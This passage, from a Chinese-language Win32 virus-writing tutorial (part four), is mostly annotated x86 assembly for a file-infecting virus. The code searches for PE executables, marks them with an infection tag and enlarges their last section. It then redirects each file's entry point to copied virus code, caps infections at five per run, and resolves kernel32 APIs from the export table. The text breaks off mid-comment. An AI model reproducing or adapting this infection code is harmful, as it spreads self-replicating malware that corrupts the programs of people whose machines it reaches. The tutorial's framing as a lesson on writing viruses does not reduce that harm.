病毒编写教程---Win32篇(四)

来源:互联网 发布:阿里云公共镜像是什么 编辑:程序博客网 时间:2024/06/09 20:55

路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。

 ; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑

 ; "//?/"来传给超过MAX_PATH的路径。"//?/"告诉了函数关闭路径解析;它使得路径长于MAX_PATH

 ; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"//?/"被作为路径的一部分

 ; 忽略掉了。例如"//?/C:/myworld/private"被看成"C:/myworld/private",

 ; "//?/UNC/bill_g_1/hotstuff/coolapps"被看成"//bill_g_1/hotstuff/coolapps"

 ;                                         

 ; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个

 ;   结构可以在随后的调用FindNextFile FindClose 函数中引用文件或子目录。

 ;                                                               

 ; 返回值                                                  

 ; =====                                    

 ;                                       

 ; ?如果函数成功调用了返回值是一个搜索句柄在随后的调用FindNextFile FindClose

 ;   时用到。

 ;                                                                        

 ; ?如果函数失败了返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息调用

 ;   函数。

 ;                                                                         

 ; 所以,现在你知道了FindFirstFile函数的所有参数了。而且,现在你知道了下面代码块

 ; 的最后一行了:)

 ;---------------------------------------------------------------------------

 

__1:    push    dword ptr [ebp+OldEIP]          ; 保存 OldEIP ModBase,

        push    dword ptr [ebp+ModBase]         ; 感染时改变

 

        call    Infection                       ; 感染找到的文件

 

        pop     dword ptr [ebp+ModBase]         ; 恢复它们

        pop     dword ptr [ebp+OldEIP]

 

        inc     byte ptr [ebp+infections]       ; 增加计数器

        cmp     byte ptr [ebp+infections],05h   ; 超过限制啦?

        jz      FailInfect                      ; 该死...

 

 ;---------------------------------------------------------------------------

 ; 我们所做的第一件事是保存了一些必须的变量的内容它们在后面我们返回控制权给主体的

 ; 时候用到,但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程:它仅

 ; 需要WFD信息,所以我们不必给它传参数了。在感染完相关的文件后,我们把值再改回来。

 ; 在做完那个以后,我们增加感染计数器,并检查我们是否已经感染了5个文件了(这个病毒

 ; 的感染限制)。如果我们已经做完了那些事情,病毒从感染函数中退出。

 ;---------------------------------------------------------------------------

 

__2:    lea     edi,[ebp+WFD_szFileName]        ; 指向文件名的指针

        mov     ecx,MAX_PATH                    ; ECX = 260

        xor     al,al                           ; AL = 00

        rep     stosb                           ; 清除旧的文件名变量

 

        lea     eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针

        push    eax                             ; 把它压栈

        push    dword ptr [ebp+SearchHandle]    ; Push Search Handle

        call    [ebp+_FindNextFileA]            ; 寻找另外一个文件

 

        or      eax,eax                         ; 失败?

        jnz     __1                             ; 没有, 感染另外一个

 

CloseSearchHandle:

        push    dword ptr [ebp+SearchHandle]    ; Push search handle

        call    [ebp+_FindClose]                ; 关闭它

 

FailInfect:

        ret

 

 ;---------------------------------------------------------------------------

 ; 代码块的开始部分做一个简单的事情:它抹掉在WFD结构(校验文件名数据)里的数据。

 ; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用

 ; FindNextFile这个API函数。下面是这个API的描述:

 ;                                            

 ; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件

 ;                                                                         

 ; BOOL FindNextFile(                                                      

 ;   HANDLE hFindFile,   // 要搜索的句柄                                

 ;   LPWIN32_FIND_DATA lpFindFileData    // 指向保存找到文件的数据的结构

 ;  );                                                                     

 ;                                                                         

 ; 参数                                                               

 ; ====                                                              

 ;                                                                         

 ; ?hFindfile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。

 ;                                                                          

 ; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构用来接受关于找到的文件或子目录

 ;   的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。

 ;                                                                         

 ; 返回值                                                          

 ; ======                                                          

 ;                                                                         

 ; ?如果函数调用成功,返回值是非零值。                

 ;                                                                          

 ; ?如果函数调用成功,返回值是0。为了获得详细的错误信息,调用GetLastError

 ;                                                       

 ; ?如果没有匹配的文件,GetLastError函数会返回ERROR_NO_MORE_FILES

 ;                                                                       

 ; 如果FindNextFile返回错误,或者如果病毒已经到达了可能感染的最大文件数,我们到了

 ; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常,下面是

 ; 这个API的描述:

 ;                                                                         

 ; FindClose函数关闭指定的搜索句柄。FindFirstFile FindNextFile 函数使用这个

 ; 句柄来用匹配给定的名字来定位文件。

 ;                                                                         

 ; BOOL FindClose(                                                         

 ;   HANDLE hFindFile    // 文件搜索句柄

 ;  );                                                          

 ;                                               

 ;                                                

 ; 参数

 ; ====

 ;                                                     

 ; ?hFindfile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。

 ;                                                              

 ; 返回值

 ; ======

 ;                                           

 ; ?如果函数调用成功,返回值是非0值。

 ;                                                        

 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError

 ;                                                                          ;

 ;---------------------------------------------------------------------------

 

Infection:

        lea     esi,[ebp+WFD_szFileName]        ; 获得要感染的文件名

        push    80h

        push    esi

        call    [ebp+_SetFileAttributesA]       ; 清除它的属性

 

        call    OpenFile                        ; 打开它

 

        inc     eax                             ; 如果 EAX = -1, 就有一个错误

        jz      CantOpen                        

        dec     eax

 

        mov     dword ptr [ebp+FileHandle],eax

 

 ;---------------------------------------------------------------------------

 ; 我们首先做的是清除文件的属性,并把它们设置为"正常文件"。这是通过SetFileAttributes

 ; 这个API来实现的。下面给出这个API的简要介绍:

 ;                                                                

 ; SetFileAttributes 函数 设置一个文件的属性。       

 ;                                                                        

 ; BOOL SetFileAttributes(                                          

 ;   LPCTSTR lpFileName, // 文件名的地址

 ;   DWORD dwFileAttributes      // 要设置的属性的地址

 ;  );                                                         

 ;                                                      

 ; 参数

 ; ====

 ;                                                                   

 ; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。

 ;                                                                         

 ; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而

 ;   所有的其它的值超越FILE_ATTRIBUTE_NORMAL

 ;                                                                 

 ; 返回值

 ; ======

 ;                                                                  

 ; ?如果函数调用成功,返回值是非0值。

 ;                                                                         

 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError

 ;                                                                         

 ; 在我们设置了新的文件属性之后,我们打开了文件,而且,如果没有任何错误发生,它把

 ; 句柄保存到它的变量中。

 ;---------------------------------------------------------------------------

 

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建映射

        call    CreateMap                    

 

        or      eax,eax

        jz      CloseFile

 

        mov     dword ptr [ebp+MapHandle],eax

 

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

        call    MapFile                         ; 映射它

 

        or      eax,eax

        jz      UnMapFile

 

        mov     dword ptr [ebp+MapAddress],eax

 

 ;---------------------------------------------------------------------------

 ; 首先我们给ECX赋我们打算要映射的文件的大小,然后我们调用我们的函数来映射它。

 ; 我们检查可能的错误,如果没有任何错误,我们继续,否则,我们关闭文件。然后我们

 ; 保存映射句柄,并准备最终利用MapFile函数来映射它。还象以前那样,我们检查错误,

 ; 决定相应的处理。如果所有的都做好了,我们保存映射起作用的地址。

 ;---------------------------------------------------------------------------

 

        mov     esi,[eax+3Ch]

        add     esi,eax

        cmp     dword ptr [esi],"EP"            ; 它是PE?

        jnz     NoInfect

 

        cmp     dword ptr [esi+4Ch],"CTZA"     ; 它被感染了吗?

        jz      NoInfect

 

        push    dword ptr [esi+3Ch]

 

        push    dword ptr [ebp+MapAddress]      ; 关闭所有

        call    [ebp+_UnmapViewOfFile]

 

        push    dword ptr [ebp+MapHandle]

        call    [ebp+_CloseHandle]

 

        pop     ecx

 

 ;---------------------------------------------------------------------------

 ; 当我们在EAX中得到了开始映射的地址我们刷新指向PE(MapAddress+3Ch)的指针 

 ; 然后我们规范化它,所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK

 ; 所以我们检查PE签名。在那个检查之后,我们检查文件是否在以前感染过了(我们在PE

 ; 偏移地址4Ch处保存了一个标记,程序从来不会用的),如果它没有,我们继续感染过程。

 ; 我们保存他们,在堆栈中 ,文件对齐(看看PE头那一章)。而且在那之后,我们解除映射,

 ; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment),把它存在ECX寄存器中。

 ;---------------------------------------------------------------------------

 

        mov     eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射

        add     eax,virus_size

 

        call    Align

        xchg    ecx,eax

 

        call    CreateMap

        or      eax,eax

        jz      CloseFile

 

        mov     dword ptr [ebp+MapHandle],eax

 

        mov     ecx,dword ptr [ebp+NewSize]

        call    MapFile

 

        or      eax,eax

        jz      UnMapFile

 

        mov     dword ptr [ebp+MapAddress],eax

       

        mov     esi,[eax+3Ch]

        add     esi,eax

 

 ;---------------------------------------------------------------------------

 ; 当我们在ECX(准备'Align'函数,因为它需要在ECX中的对齐因子)中得到了文件对齐,我们

 ; EAX赋打开的文件大小加上病毒大小(EAX是要对齐的数量),然后我们调用'Align'函数,

 ; 它在EAX中返回给我们对齐的数字。例如,如果对齐(Alignment)200h,而且文件大小+

 ; 病毒大小是12345h'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字

 ; 保存到ECX中。我们再次调用CreateMap函数,但是现在我们用对齐后的大小来映射文件。

 ; 在这之后,我们再次使ESI指向PE头。

 ;---------------------------------------------------------------------------

 

        mov     edi,esi                         ; EDI = ESI = Ptr to PE header

 

        movzx   eax,word ptr [edi+06h]          ; AX = n?of sections

        dec     eax                             ; AX--

        imul    eax,eax,28h                     ; EAX = AX*28

        add     esi,eax                         ; Normalize

        add     esi,78h                         ; Ptr to dir table

        mov     edx,[edi+74h]                   ; EDX = n?of dir entries

        shl     edx,3                           ; EDX = EDX*8

        add     esi,edx                         ; ESI = Ptr to last section

 

 ;---------------------------------------------------------------------------

 ; 首先我们也使EDI指向PE头。然后,我们给AX赋节的个数(一个WORD类型的数),并使它

 ; 1。然后我们把AX(n,节数-1)乘以28h(节头的大小),把它再加上PE头的偏移地址。使ESI

 ; 指向目录表,在EDX中得到目录入口点的数目。然后我们把它乘以8,最后把结果(EDX)

 ; 加到ESI,所以ESI将指到最后一节。

 ;---------------------------------------------------------------------------

 

        mov     eax,[edi+28h]                   ; 获得 EP

        mov     dword ptr [ebp+OldEIP],eax      ; 保存它

        mov     eax,[edi+34h]                   ; 获得 imagebase

        mov     dword ptr [ebp+ModBase],eax     ; 保存它

       

        mov     edx,[esi+10h]                   ; EDX = SizeOfRawData

        mov     ebx,edx                         ; EBX = EDX

        add     edx,[esi+14h]                   ; EDX = EDX+PointerToRawData

 

        push    edx                             ; 保存 EDX

 

        mov     eax,ebx                         ; EAX = EBX

        add     eax,[esi+0Ch]                   ; EAX = EAX+VA 地址

                                                ; EAX = EIP

        mov     [edi+28h],eax                   ; 改变新的 EIP

        mov     dword ptr [ebp+NewEIP],eax      ; 还保存它

 

 ;---------------------------------------------------------------------------

 ; 首先我们给EAX赋我们正在感染的文件的EIP为了后面把旧EIP赋给一个变量将会在

 ; 病毒(你将会看到)的开始用到。我们对基址同样这么做。然后,我们给EDX赋最后一节的

 ; SizeOfRawData赋给EDX,再赋给EDX,然后,我们把EDX加上PointerToRawData(EDX

 ; 将在复制病毒的时候用到所以我们把它保存到堆栈中)。在这之后,我们给EAXSizeOfRawData

 ; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE

 ; 的域中,并保存在另外一个变量中(看看病毒的开始处)

 ;---------------------------------------------------------------------------

 

        mov     eax,[esi+10h]                   ; EAX = 新的 SizeOfRawData

        add     eax,virus_size                  ; EAX = EAX+VirusSize

        mov     ecx,[edi+3Ch]                   ; ECX = FileAlignment(文件对齐)

        call    Align                           ; 对齐!

 

        mov     [esi+10h],eax                   ; 新的 SizeOfRawData

        mov     [esi+08h],eax                   ; 新的 VirtualSize

 

        pop     edx                             ; EDX = 指向节尾的原始指针

                                              

 

        mov     eax,[esi+10h]                   ; EAX =  新的 SizeOfRawData

        add     eax,[esi+0Ch]                   ; EAX = EAX+VirtualAddress

        mov     [edi+50h],eax                   ; EAX =  新的 SizeOfImage

 

        or      dword ptr [esi+24h],0A0000020h  ; 设置新的节标志

 

 

 ;---------------------------------------------------------------------------

 ; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX然后把病毒的大小

 ; 加上它。在 ECX我们装载FileAlignment我们调用'Align'函数所以在EAX

 ; 我们将得到对齐后的SizeOfRawData+VirusSize

 ; 让我们看看一个小例子:                                     

 ;                                                                         

 ;      SizeOfRawData - 1234h                                              

 ;      VirusSize     -  400h                                               

 ;      FileAlignment -  200h                                              

 ;                                                                         

 ; 所以SizeOfRawData + VirusSize 将为1634在对那个值对齐之后将为1800h。简单?

 ; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize这样做之后我们

 ; 将没有问题了我们计算新的SizeOfImage也就是说新的SizeOfRawDataVirtualAddress

 ; 的和。在计算完这个之后,我们把它保存到PE头的SizeOfImage域中(偏移50h)。然后,

 ; 我们按如下设置节的属性:

 ;                                                                        

 ;      00000020h - 节包含代码                              

 ;      40000000h - 节可读

 ;      80000000h - 节可写               

 ;                                                

 ; 所以,如果我们要应用这三个属性只要把那3个值或(OR)即可,结果将是A0000020h

 ; 所以,我们还要把他和节的当前属性值进行或,这样我们不必删除旧的:只要加上它们。

 ;---------------------------------------------------------------------------

 

        mov     dword ptr [edi+4Ch],"CTZA"      ; 设置感染标志

 

        lea     esi,[ebp+aztec]                 ; ESI = 指向 virus_start 的指针

        xchg    edi,edx                         ; EDI = 指向最后一节结尾的指针

                                                ;      

        add     edi,dword ptr [ebp+MapAddress]  ; EDI = 规范化后指针

        mov     ecx,virus_size                  ; ECX = 要复制的大小

        rep     movsb                           ; 做它!

 

        jmp     UnMapFile                       ; 解除映射, 关闭, 等等.

 

 ;---------------------------------------------------------------------------

 ; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移

 ; 4Ch是保留的)。然后,在ESI中放一个指向病毒开始的指针。在我们把EDX的值赋给ESI

 ; (记住:EDX=旧的 SizeOfRawData+PointerToRawData)之后,那就是我们放置病毒代码

 ; RVA。正如我已经说过了,它是一个RVA,这一点你必须知道;)RVA必须转换成VA

 ; 这是通过把RVA加上相对值实现的... 所以,它和开始映射文件的地址(如果你还记得,它是

 ; MapViewOfFile这个API返回的)相关。所以,最后,在EDI中我们得到的是写病毒代码的

 ; VA。在ECX中,我们装入病毒的大小,并复制。所有都做好了!:)现在我们关闭所有...

 ;---------------------------------------------------------------------------

 

NoInfect:

        dec     byte ptr [ebp+infections]

        mov     ecx,dword ptr [ebp+WFD_nFileSizeLow]

        call    TruncFile

 

 ;---------------------------------------------------------------------------

 ; 在感染的时候,如果有什么错误发生,我们就到了这个地方。我们把感染计数器减1,把文件

 ; 截去感染之前的大小。我希望我们的病毒不会到达这个地方:)

 ;---------------------------------------------------------------------------

 

UnMapfile:

        push    dword ptr [ebp+MapAddress]      ; 关闭映射的地址

        call    [ebp+_UnmapViewOfFile]

 

CloseMap:      

        push    dword ptr [ebp+MapHandle]       ; 关闭映射

        call    [ebp+_CloseHandle]

 

Closefile:

        push    dword ptr [ebp+FileHandle]      ; 关闭文件

        call    [ebp+_CloseHandle]

 

CantOpen:

        push    dword ptr [ebp+WFD_dwFileAttributes]

        lea     eax,[ebp+WFD_szFileName]        ; 设置原先文件的的属性

        push    eax

        call    [ebp+_SetFileAttributesA]

        ret

 

 ;---------------------------------------------------------------------------

 ; 这块代码集中于关闭在感染的时候打开的所有东西:映射地址,映射自身,文件,随后把

 ; 原先的属性设置回去。

 ; 让我们看看这里用到的API

 ;                                                                         

 ; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。

 ;                                                                         

 ; BOOL UnmapViewOfFile(                                                   

 ;   LPCVOID lpBaseAddress       // 开始映射的地址

 ;  );                                                       

 ;                                                          

 ; 参数                                      

 ; ====                                                              

 ;                                                                          

 ; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile

 ;   MapViewOfFileEx函数返回的值。

 ;                                                                        

 ; 返回值

 ; =====

 ;                                                                       

 ; ?如果函数调用成功,返回值是非0值,而且所有指定范围内的页将会标志"lazily"

 ;                                                                         

 ; ?如果函数调用失败,返回值是0。为了获得详细的错误信息,调用GetLastError函数。

 ;                                                                         

 ; ---                                                                     

 ;                                                                         

 ; CloseHandle 函数关闭一个打开对象的句柄。

 ;                                                                         

 ; BOOL CloseHandle(                                                       

 ;   HANDLE hObject      // 要关闭对象的句柄

 ;  );                                                                     

 ;                                                                          

 ; 参数

 ; ====

 ;                                                                         

 ; ?hObject: 指一个打开对象的句柄。

 ;                                                                         

 ;  返回值

 ;  ======

 ;                                                                          

 ; ?如果函数调用成功,返回值是非0值。

 ; ?如果函数调用失败,返回值是0。想要获得详细的错误信息,调用GetLastError

 ;

 ;---------------------------------------------------------------------------

 

GetK32          proc

_@1:    cmp     word ptr [esi],"ZM"

        jz      WeGotK32

_@2:    sub     esi,10000h

        loop    _@1

WeFailed:

        mov     ecx,cs

        xor     cl,cl

        jecxz   WeAreInWNT

        mov     esi,kernel_

        jmp     WeGotK32

WeAreInWNT:

        mov     esi,kernel_wNT

WeGotK32:

        xchg    eax,esi

        ret

GetK32          endp

 

GetAPIs         proc

@@1:    push    esi

        push    edi

        call    GetAPI

        pop     edi

        pop     esi

 

        stosd

 

        xchg    edi,esi

 

        xor     al,al

@@2:    scasb

        jnz     @@2

 

        xchg    edi,esi

 

@@3:    cmp     byte ptr [esi],0BBh

        jnz     @@1

 

        ret

GetAPIs         endp

 

GetAPI          proc

        mov     edx,esi

        mov     edi,esi

 

        xor     al,al

@_1:    scasb

        jnz     @_1

 

        sub     edi,esi                         ; EDI = API 的名字大小

        mov     ecx,edi

 

        xor     eax,eax

        mov     esi,3Ch

        add     esi,[ebp+kernel]

        lodsw

        add     eax,[ebp+kernel]

 

        mov     esi,[eax+78h]

        add     esi,1Ch

 

        add     esi,[ebp+kernel]

 

        lea     edi,[ebp+AddressTableVA]

       

        lodsd

        add     eax,[ebp+kernel]

        stosd

 

        lodsd

        add     eax,[ebp+kernel]

        push    eax                             ; mov [NameTableVA],eax   =)

        stosd

 

        lodsd

        add     eax,[ebp+kernel]

        stosd

       

        pop     esi

 

        xor     ebx,ebx

 

@_3:    lodsd

        push    esi     

        add     eax,[ebp+kernel]

        mov     esi,eax

        mov     edi,edx

        push    ecx

        cld

        rep     cmpsb

        pop     ecx

        jz      @_4

        pop     esi

        inc     ebx

        jmp     @_3             

 

@_4:

        pop     esi

        xchg    eax,ebx

        shl     eax,1

        add     eax,dword ptr [ebp+OrdinalTableVA]

        xor     esi,esi

        xchg    eax,esi

        lodsw

        shl     eax,2

        add     eax,dword ptr [ebp+AddressTableVA]

        mov     esi,eax

        lodsd

        add     eax,[ebp+kernel]

        ret

GetAPI          endp

 

 ;---------------------------------------------------------------------------

 ; 上面所有的代码以前已经见过了,这里是有了一点点优化,所以你可以看看你自己用其它

 ; 方法该怎么做。

 ;---------------------------------------------------------------------------

 

 ; 输入:

 ;      EAX - 对齐的值

 ;      ECX - 对齐因子

 ; 输出:

 ;      EAX - 对齐值

 

Align           proc

        push    edx

        xor     edx,edx

        push    eax

        div     ecx

        pop     eax

        sub     ecx,edx

        add     eax,ecx

        pop     edx

        ret

Align           endp

 

 ;---------------------------------------------------------------------------

 ; 这个函数执行在PE感染中非常重要的一件事情:把数字和指定的因子对齐。如果你不是

 ; 一个d0rk,你就不必问我它是怎么工作的了。( Fuck,你到底学了没有?)

 ;---------------------------------------------------------------------------

 ; 输入:

 ;      ECX - 要截的文件

 ; 输出:

 ;      .

 

TruncFile       proc

        xor     eax,eax

        push    eax

        push    eax

        push    ecx

        push    dword ptr [ebp+FileHandle]

        call    [ebp+_SetFilePointer]

 

        push    dword ptr [ebp+FileHandle]

        call    [ebp+_SetEndOfFile]

        ret

TruncFile       endp

 

 ;---------------------------------------------------------------------------

 ; SetFilePointer 使文件指针指向一个打开的文件。

 ;                                                                         

 ; DWORD SetFilePointer(                                                    

 ;   HANDLE hFile,       // 文件的句柄

 ;   LONG lDistanceToMove,       // 需要移动文件指针的字节数

 ;   PLONG lpDistanceToMoveHigh, // 要移动距离的高位字

 ;                              

 ;   DWORD dwMoveMethod  // 怎么移